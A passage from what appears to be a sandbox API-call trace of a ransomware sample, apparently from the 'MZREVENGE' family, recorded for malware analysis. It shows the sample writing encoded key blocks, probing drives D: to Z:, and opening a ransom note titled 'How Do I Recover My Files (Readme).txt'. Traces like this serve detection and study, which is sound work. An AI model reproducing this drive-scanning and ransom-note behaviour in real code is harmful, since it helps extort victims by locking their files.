}=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.903] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.904] CloseHandle (hObject=0x32c) returned 1 [0217.909] GetFileAttributesW (lpFileName="D:\\" (normalized: "d:")) returned 0xffffffff [0217.910] GetLastError () returned 0x3 [0217.915] GetFileAttributesW (lpFileName="E:\\" (normalized: "e:")) returned 0xffffffff [0217.915] GetLastError () returned 0x3 [0217.920] GetFileAttributesW (lpFileName="F:\\" (normalized: "f:")) returned 0xffffffff [0217.920] GetLastError () returned 0x3 [0217.926] GetFileAttributesW (lpFileName="G:\\" (normalized: "g:")) returned 0xffffffff [0218.074] GetLastError () returned 0x3 [0218.081] GetFileAttributesW (lpFileName="H:\\" (normalized: "h:")) returned 0xffffffff [0218.081] GetLastError () returned 0x3 [0218.087] GetFileAttributesW (lpFileName="I:\\" (normalized: "i:")) returned 0xffffffff [0218.088] GetLastError () returned 0x3 [0218.094] GetFileAttributesW (lpFileName="J:\\" (normalized: "j:")) returned 0xffffffff [0218.095] GetLastError () returned 0x3 [0218.101] GetFileAttributesW (lpFileName="K:\\" (normalized: "k:")) returned 0xffffffff [0218.102] GetLastError () returned 0x3 [0218.107] GetFileAttributesW (lpFileName="L:\\" (normalized: "l:")) returned 0xffffffff [0218.107] GetLastError () returned 0x3 [0218.114] GetFileAttributesW (lpFileName="M:\\" (normalized: "m:")) returned 0xffffffff [0218.163] GetLastError () returned 0x3 [0218.168] GetFileAttributesW (lpFileName="N:\\" (normalized: "n:")) returned 0xffffffff [0218.169] GetLastError () returned 0x3 [0218.174] GetFileAttributesW (lpFileName="O:\\" (normalized: "o:")) returned 0xffffffff [0218.174] GetLastError () returned 0x3 [0218.179] GetFileAttributesW (lpFileName="P:\\" (normalized: "p:")) returned 0xffffffff [0218.180] GetLastError () returned 0x3 [0218.186] GetFileAttributesW (lpFileName="Q:\\" (normalized: "q:")) returned 0xffffffff [0218.186] GetLastError () returned 0x3 [0218.193] GetFileAttributesW (lpFileName="R:\\" (normalized: "r:")) returned 0xffffffff [0218.193] GetLastError () returned 0x3 [0218.200] GetFileAttributesW (lpFileName="S:\\" (normalized: "s:")) returned 0xffffffff [0218.200] GetLastError () returned 0x3 [0218.205] GetFileAttributesW (lpFileName="T:\\" (normalized: "t:")) returned 0xffffffff [0218.270] GetLastError () returned 0x3 [0218.276] GetFileAttributesW (lpFileName="U:\\" (normalized: "u:")) returned 0xffffffff [0218.276] GetLastError () returned 0x3 [0218.283] GetFileAttributesW (lpFileName="V:\\" (normalized: "v:")) returned 0xffffffff [0218.283] GetLastError () returned 0x3 [0218.288] GetFileAttributesW (lpFileName="W:\\" (normalized: "w:")) returned 0xffffffff [0218.288] GetLastError () returned 0x3 [0218.293] GetFileAttributesW (lpFileName="X:\\" (normalized: "x:")) returned 0xffffffff [0218.293] GetLastError () returned 0x3 [0218.298] GetFileAttributesW (lpFileName="Y:\\" (normalized: "y:")) returned 0xffffffff [0218.299] GetLastError () returned 0x3 [0218.303] GetFileAttributesW (lpFileName="Z:\\" (normalized: "z:")) returned 0xffffffff [0218.304] GetLastError () returned 0x3 [0218.304] GetCurrentThreadId () returned 0xab4 [0218.304] GetCurrentThreadId () returned 0xab4 [0218.304] GetCurrentThreadId () returned 0xab4 [0218.304] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\How Do I Recover My Files (Readme).txt", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0222.628] GetCurrentThreadId () returned 0xab4 [0222.628] GetCurrentThreadId () returned 0xab4 [0222.628] GetCurrentThreadId () returned 0xab4 [0222.628] GetCurrentThreadId () returned 0xab4 [0222.628] GetCurrentThreadId () returned 0xab4 [0222.628] GetCurrentProcess () returned 0xffffffff [0222.628] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x400000, lpBuffer=0x19fd18, dwLength=0x1c | out: lpBuffer=0x19fd18*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0222.628] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x401000, lpBuffer=0x19fd18, dwLength=0x1c | out: lpBuffer=0x19fd18*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x161000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0222.631] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x562000, lpBuffer=0x19fd18, dwLength=0x1c | out: lpBuffer=0x19fd18*(BaseAddress=0x562000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0222.631] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x563000, lpBuffer=0x19fd18, dwLength=0x1c | out: lpBuffer=0x19fd18*(BaseAddress=0x563000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] ResetEvent (hEvent=0x1ec) returned 1 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] ResetEvent (hEvent=0x1ec) returned 1 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] GetCurrentThreadId () returned 0xab4 [0222.632] CloseHandle (hObject=0x1ec) returned 1 [0222.633] CloseHandle (hObject=0x1f0) returned 1 [0222.633] CloseHandle (hObject=0x1e8) returned 1 [0222.633] GetCurrentThreadId () returned 0xab4 [0222.633] GetCurrentThreadId () returned 0xab4 [0222.633] GetCurrentThreadId () returned 0xab4 [0222.633] GetCurrentThreadId () returned 0xab4 [0222.633] GetCurrentThreadId () returned 0xab4 [0222.633] GetCurrentThreadId () returned 0xab4 [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.633] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.634] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.635] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.636] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.636] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.636] GetLocalTime (in: lpSystemTime=0x19fd60 | out: lpSystemTime=0x19fd60*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x5, wDay=0x1, wHour=0x17, wMinute=0x1e, wSecond=0x6, wMilliseconds=0x1be)) [0222.636] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0222.636] VirtualFree (lpAddress=0x30f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0222.639] VirtualFree (lpAddress=0x24a0000, 